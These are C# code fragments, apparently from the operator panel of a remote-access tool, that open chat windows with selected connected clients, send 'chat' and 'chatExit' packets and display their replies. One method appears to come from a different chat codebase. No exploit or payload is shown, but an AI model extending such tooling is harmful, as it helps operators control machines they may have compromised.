public void GetClient(MsgPack unpack_msgpack, Clients client) { FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; if (chat != null) { if (chat.Client == null) { chat.Client = client; chat.textBox1.Enabled = true; chat.timer1.Enabled = true; } } }
public HandleChat(MsgPack unpack_msgpack, Clients client) { FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; if (chat != null) { Console.Beep(); chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; chat.richTextBox1.ScrollToCaret(); } else { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "chatExit"; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } }
public void Handling(IProtocol protocol, Form form) { var ptc = protocol as MessageProtocol; var f = form as FormMain; f.Invoke(new MethodInvoker(delegate() { FormChat formChat = null; if (f.FormChatOpening.TryGetValue(ptc.Message.Sender, out formChat)) { formChat.Invoke(new MethodInvoker(delegate() { formChat.ReceiveTextMessage(ptc.Message); })); } else { f.OpenFormChat(ptc.Message.Sender); } })); }
private void CHATToolStripMenuItem_Click(object sender, EventArgs e) { try { if (listView1.SelectedItems.Count > 0) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "chat"; foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; this.BeginInvoke((MethodInvoker)(() => { FormChat shell = (FormChat)Application.OpenForms["chat:" + client.ID]; if (shell == null) { shell = new FormChat { Name = "chat:" + client.ID, Text = "chat:" + client.ID, F = this, C = client }; shell.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } })); } } } catch (Exception ex) { MessageBox.Show(ex.Message); return; } }